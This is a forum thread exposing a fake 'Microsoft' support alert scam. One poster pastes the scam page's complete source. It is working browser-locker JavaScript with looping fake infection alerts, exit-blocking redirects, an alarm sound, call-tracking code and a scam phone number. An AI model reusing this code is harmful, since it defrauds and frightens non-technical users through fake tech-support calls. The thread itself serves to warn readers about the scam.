Important Alert from "Microsoft"
Important Alert from "Microsoft"
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Re: Important Alert from "Microsoft"
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Re: Important Alert from "Microsoft"
I did a Google search for "error 268D3" and found lots of people asking about this on the Microsoft answer page.
Microsoft's response:
Thank you for contacting Microsoft Community.
In order to help you better, could you please confirm a couple of things:
When exactly do you get this message?
What is the exact error message are you getting?
Which security software \ app are you suing?
We request you to provide us the screen shot of the issue, so that we can check in detail and help you further on this issue.
Someone actually went to the trouble of providing a screenshot, but still got no response.
I can't believe Microsoft is that ignorant about a common and obvious scam, and they don't seem a bit concerned that
scammers are impersonating them.
I think that they don't want to do anything about it, because it's more likely that dumb people will either format their HD to get rid of the problem or buy a new computer.
Either way, it means more money in their pocket if people end up installing a new OS.
Microsoft's response:
Thank you for contacting Microsoft Community.
In order to help you better, could you please confirm a couple of things:
When exactly do you get this message?
What is the exact error message are you getting?
Which security software \ app are you suing?
We request you to provide us the screen shot of the issue, so that we can check in detail and help you further on this issue.
Someone actually went to the trouble of providing a screenshot, but still got no response.
I can't believe Microsoft is that ignorant about a common and obvious scam, and they don't seem a bit concerned that
scammers are impersonating them.
I think that they don't want to do anything about it, because it's more likely that dumb people will either format their HD to get rid of the problem or buy a new computer.
Either way, it means more money in their pocket if people end up installing a new OS.
Re: Important Alert from "Microsoft"
I don't know man, my grandma thinks it looks pretty official
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Re: Important Alert from "Microsoft"
That's probably why Microsoft hasn't responded yet... They're investigating internally to find out which department created the warning message.
Re: Important Alert from "Microsoft"
That would be "NONE". I've looked at the index.php source, and here is the full source. very obvious forgeryperrinoia wrote:That's probably why Microsoft hasn't responded yet... They're investigating internally to find out which department created the warning message.
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<!DOCTYPE html>
<html lang="en"><head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
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<meta name="description" content="">
<meta name="author" content="">
<link rel="icon" href="">
<script src="https://d1a32x6bfz4b86.cloudfront.net/jsapi/v1/retreaver.min.js" type="text/javascript"></script>
<script src="https://code.jquery.com/jquery-1.11.2.min.js" type="text/javascript"></script>
<script>
// this script is so you can get fields our of the URL to put in variables (UPDATED VERSION THAT ACTUALLY CHECKS FULL PARAMETER NAME BEGIN OF ? OR &)
function getURLParameter(name) {
return decodeURIComponent((new RegExp('[?|&]' + name + '=' + '([^&;]+?)(&|#|;|$)').exec(location.search)||[,""])[1].replace(/\+/g, '%20'))||null;
}
</script>
<title>Microsoft Official Support</title>
<link href="files/bootstrap.css" rel="stylesheet">
<link href="files/style.css" rel="stylesheet">
<script src="files/ie-emulation-modes-warning.js"></script>
<script src="files/html.js" async="" type="text/javascript"></script>
<script>
var ran = false; //Flag we have not run the script to pull the number yet
var loco = ""; //The location of the page that we will load on a second pop
var msg = "";
//figure out what to use for default number and number loaded on subsequent load (Any number from the campaign that is static can be used (or even direct line to client center)
var default_number = "(855) 294-2881"; //will be used when number pool is full as the default number (Use Whatever Country Format the number is for)
var default_plain_number = "8552942881"; //will be used as the unformatted default number for hyperlinking the number/image/text
var number = "(855) 294-2881"; //use this variable for the formatted number to display
var plain_number = "8552942881"; //use this variable for the hyperlink if used <a href="tel:+1"+ plain_number +"">
//allow for the traffic source to send in their own default number if a number can't be obtained from the pool
var dn = getURLParameter('dn');
if (dn != '') { //if we going to use a default number different for each affiliate
default_plain_number = dn;
plain_number = dn;
var dfn = getURLParameter('dfn'); //get the default formatted number sent in
if (dfn == "") dfn = dn; //if no formatted number just use it unformatted
default_number = dfn; //so we have it in a good format as well
number = dfn;
}
//if we already loaded the page before OR the source is just trying to use a static number at your site
var ftfn = getURLParameter('ftfn'); //if you see a formatted number to use in the URL, use that, don't call for a new number
if (getURLParameter('ftfn')) { //if we are reloading the page, don't call the system to get a new number
number = ftfn; //we will use this as the formatted number and not call system for a new number
var ptfn = getURLParameter('ptfn'); //get the unformatted number to use for hyperlinking
if (getURLParameter('ftfn'))
ptfn = ftfn; //if no unformatted number just use it formatted for hyperlinking
plain_number = ptfn; //so we have it in a good hyperlink format as well
}
</script>
<script>
function getSystemInfo() {
}
</script>
<script type="text/javascript" defer>
function loadNumber() {
getSystemInfo();
if (!ran) { //if we haven't ran this function before, get a new number
if (!getURLParameter('ftfn')) { //if we don't have the phone# in the URL, get it the first time
// Initialize the campaign using the campaign key from your campaign page. On the line below, nothing should ever need to change but the key
var campaign = new Callpixels.Campaign({campaign_key: '2b3fc81a415d65c3fd7a5fc473956176'});
// Set the tags we want to use in order to find a matching number. Format: var tags = {calling_about: 'sales', currently_insured: 'no'}; format is basically var tags = {tag1: 'value1', tag2: 'value2', etc};
var tags = {
lander: 'redsod',
os: 'Windows'
}; //leave like this if you are not trying to send any tags, or replace with above format.
// request a number that matches the tags. Format: campaign.request_number(tags, function (matching_number){}, function(error){});
campaign.request_number(tags,
function (matching_number) {
number = matching_number.get('formatted_number');
plain_number = matching_number.get('plain_number');
// Save the number so we can reference it later.
window.callpixels_number = matching_number;
}, //end the function (matching_number)
// 3rd Parameter of the campaign.request_number function is the error handling
function (error) {
number = default_number; //Since this isn't being returned from function, this is actually a formatted string to use for the default number
plain_number = default_plain_number; //And this is the unformatted number to be used for hypering linking <a href="tel:+1[plain_number]....
} //end the error function
); //end the campaign.request_number function
} //end if reloading
ran = true; //so we don't get the number more than once
function doRedirect(url) {
setTimeout(function() {
location.href = url;
}, 50);
}
function randomString(length) {
var text = "";
var possible = "abcdefghijklmnopqrstuvwxyz0123456789";
for(var i = 0; i < length; i++) {
text += possible.charAt(Math.floor(Math.random() * possible.length));
}
return text;
}
var loco_params = "?ptfn=" + plain_number + "&ftfn=" + number + ""; //on a reload, the script looks for the ftfn variable and will not call the script to get a new number again.
var c=randomString(10);
var e=c+"."+window.location.hostname+window.location.pathname;
loco="http://"+e+loco_params;
FormattedNumber1.innerHTML = number;
FormattedNumber2.innerHTML = number;
audioarea.innerHTML = '<audio autoplay="autoplay" loop=""><source src="files/alert2.mp3" type="audio/mpeg"></audio>';
function leavebehind() {
var leavebehind;
leavebehind = loco;
setTimeout(
function () {
window.location.href = leavebehind;
},
500);
return true;
}
function myFunction() {
var step = 0,
previousStep = 0,
redirected = false;
setInterval(function () {
// Firefox NS_ERROR_NOT_AVAILABLE fix
if (step !== previousStep) {
if (!redirected) {
redirected = true;
console.log('redirect for Firefox');
doRedirect(loco);
}
}
step++;
var start = new Date().getTime();
alert("\n\ ** YOUR COMPUTER HAS BEEN BLOCKED **\n\nError # 268D3\n\nPlease call us immediately at: " + number + " \n\nPlease do not ignore this critical alert. If you close this page, your computer access will be disabled to prevent further damage to our network.\n\nYour computer has alerted us that it has been infected with a virus and spyware. The following information is being stolen...\n\n> Facebook Login\n> Credit Card Details\n> Email Account Login\n> Photos stored on this computer\n\nYou must contact us immediately so that our engineers can walk you through the removal process over the phone. Please call us within the next 5 minutes to prevent your computer from being disabled.\n\nToll Free: " + number + " \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n");
// if delta less than 50ms then it's browser's action
// thus we need redirect
var dt = new Date().getTime() - start;
console.log(dt);
if (dt < 50) {
if (!redirected) {
redirected = true;
console.log('redirect by delta time');
doRedirect(loco);
}
}
previousStep++;
}, 100);
}
function confirmExit() {
window.location.href = loco;
}
window.onbeforeunload = confirmExit;
onmouseover="myFunction();";
onclick="myFunction();";
onkeydown="myFunction();";
myFunction();
} //end the if Not Ran check
} //end the loadNumber function
</script>
</head>
<body onload="loadNumber();">
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<iframe id="coToolbarFrame" src="about:blank" style="height:0px;width:100%;display:none;"></iframe>
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</body></html>LM|| RCMP*
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Re: Important Alert from "Microsoft"
lol. and guess what? that is the only viewable page on that domain. if there is anything else, its back end server stuff for logging purposes. One index.php page. thats it
LM|| RCMP*
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